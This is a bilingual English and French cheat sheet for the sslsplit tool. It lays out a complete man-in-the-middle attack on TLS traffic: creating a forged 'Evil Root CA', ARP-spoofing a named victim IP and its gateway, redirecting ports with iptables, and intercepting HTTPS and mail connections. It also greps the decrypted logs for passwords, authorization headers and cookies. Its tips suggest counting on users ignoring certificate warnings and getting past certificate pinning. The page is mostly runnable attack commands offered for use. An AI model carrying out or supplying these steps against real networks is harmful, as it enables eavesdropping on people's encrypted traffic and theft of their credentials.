sslsplit
Proxy d'interception SSL/TLS transparent. Effectue des attaques man-in-the-middle sur des connexions SSL/TLS : déchiffre, journalise et rechiffre le trafic de manière transparente. Transparent SSL/TLS interception proxy. Performs man-in-the-middle attacks on SSL/TLS connections — decrypts, logs, and re-encrypts traffic transparently.
↗ https://github.com/droe/sslsplitOverview
sslsplit performs transparent SSL/TLS man-in-the-middle attacks. It intercepts encrypted connections, decrypts them using a forged certificate signed by a CA you control, logs the plaintext traffic, and re-encrypts before forwarding to the real server. Requires traffic to be redirected to it (via iptables, ARP spoofing, etc.).
Setup — CA Certificate
Generate CA private key
openssl genrsa -out ca.key 4096
Self-signed CA certificate
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt \
-subj "/C=US/O=Evil CA/CN=Evil Root CA"
# Install CA cert on target device to avoid certificate warnings
# (or rely on users ignoring warnings)
Basic Usage
HTTPS interception (redirect port 443 → 8443)
sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit \
-k ca.key -c ca.crt \
ssl 0.0.0.0 8443
HTTP + HTTPS
sslsplit -D -l conn.log -j /tmp/ss -S /tmp/ss -k ca.key -c ca.crt \
ssl 0.0.0.0 8443 \
tcp 0.0.0.0 8080
Traffic Redirection (iptables)
# Redirect all HTTPS traffic to sslsplit on gateway/router
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
For traffic from a specific source
iptables -t nat -A PREROUTING -s 192.168.1.50 -p tcp --dport 443 -j REDIRECT --to-ports 8443
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1 # target → gateway
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 # gateway → target
Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
Log Analysis
sslsplit saves decrypted content to files in -S directory
ls /tmp/sslsplit/
→ Files named:
View captured traffic
cat /tmp/sslsplit/*.log
Find credentials in HTTP POST bodies
grep -i "password\|passwd\|pass=" /tmp/sslsplit/*.log
Find Authorization headers
grep -i "Authorization:" /tmp/sslsplit/*.log
Find cookies
grep -i "Cookie:" /tmp/sslsplit/*.log
STARTTLS Support
SMTP with STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8587
IMAP with STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8993
POP3 with STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8995
Tips
- Install the CA cert in the target’s trust store to avoid certificate warnings
- Mobile devices can be configured to use a proxy — easier than full network interception
- Use
-D(daemon mode) with logging for long-running captures - Certificate pinning in apps will bypass sslsplit — use Frida or Objection for those
- mitmproxy is often easier to use for interactive inspection; sslsplit excels at passive logging
Help / Man page
sslsplit [options] proxyspecs...
-k KEY CA private key file (PEM)
-c CERT CA certificate file (PEM)
-j DIR Jail directory for chroot
-S DIR Log directory for content
-l FILE Log connection info to file
-D Run as daemon
-d Debug mode (don't fork)
Proxy specs:
ssl <addr> <port> SSL/TLS listener
tcp <addr> <port> Plaintext TCP listener
autossl <addr> <port> Auto-detect STARTTLS
Vue d’ensemble
sslsplit effectue des attaques man-in-the-middle SSL/TLS transparentes. Il intercepte les connexions chiffrées, les déchiffre à l’aide d’un certificat forgé signé par une CA que l’on contrôle, journalise le trafic en clair, puis le rechiffre avant de le transmettre au vrai serveur. Nécessite que le trafic lui soit redirigé (via iptables, ARP spoofing, etc.).
Mise en place : certificat CA
# Générer la clé privée CA
openssl genrsa -out ca.key 4096
# Certificat CA auto-signé
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt \
-subj "/C=US/O=Evil CA/CN=Evil Root CA"
# Installer le certificat CA sur l'appareil cible pour éviter les avertissements de certificat
# (ou compter sur les utilisateurs qui ignorent les avertissements)
Utilisation de base
# Interception HTTPS (redirige le port 443 → 8443)
sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit \
-k ca.key -c ca.crt \
ssl 0.0.0.0 8443
# HTTP + HTTPS
sslsplit -D -l conn.log -j /tmp/ss -S /tmp/ss -k ca.key -c ca.crt \
ssl 0.0.0.0 8443 \
tcp 0.0.0.0 8080
Redirection du trafic (iptables)
# Rediriger tout le trafic HTTPS vers sslsplit sur la passerelle/routeur
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
# Pour le trafic d'une source spécifique
iptables -t nat -A PREROUTING -s 192.168.1.50 -p tcp --dport 443 -j REDIRECT --to-ports 8443
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1 # cible → passerelle
arpspoof -i eth0 -t 192.168.1.1 192.168.1.50 # passerelle → cible
Activer l’IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
Analyse des logs
sslsplit sauvegarde le contenu déchiffré dans des fichiers du répertoire -S
ls /tmp/sslsplit/
→ Fichiers nommés :
# Visualiser le trafic capturé
cat /tmp/sslsplit/*.log
# Trouver des identifiants dans les corps de requêtes POST
grep -i "password\|passwd\|pass=" /tmp/sslsplit/*.log
# Trouver les headers Authorization
grep -i "Authorization:" /tmp/sslsplit/*.log
# Trouver les cookies
grep -i "Cookie:" /tmp/sslsplit/*.log
Support STARTTLS
# SMTP avec STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8587
# IMAP avec STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8993
# POP3 avec STARTTLS
sslsplit -k ca.key -c ca.crt autossl 0.0.0.0 8995
Conseils
- Installer le certificat CA dans le magasin de confiance de la cible pour éviter les avertissements de certificat
- Les appareils mobiles peuvent être configurés pour utiliser un proxy : plus simple qu’une interception réseau complète
- Utiliser
-D(mode daemon) avec journalisation pour des captures de longue durée - Le certificate pinning dans les applications contournera sslsplit : utiliser Frida ou Objection pour ces cas
- mitmproxy est souvent plus facile à utiliser pour l’inspection interactive ; sslsplit excelle dans la journalisation passive
Aide / Page de manuel
sslsplit [options] proxyspecs...
-k KEY CA private key file (PEM)
-c CERT CA certificate file (PEM)
-j DIR Jail directory for chroot
-S DIR Log directory for content
-l FILE Log connection info to file
-D Run as daemon
-d Debug mode (don't fork)
Proxy specs:
ssl <addr> <port> SSL/TLS listener
tcp <addr> <port> Plaintext TCP listener
autossl <addr> <port> Auto-detect STARTTLS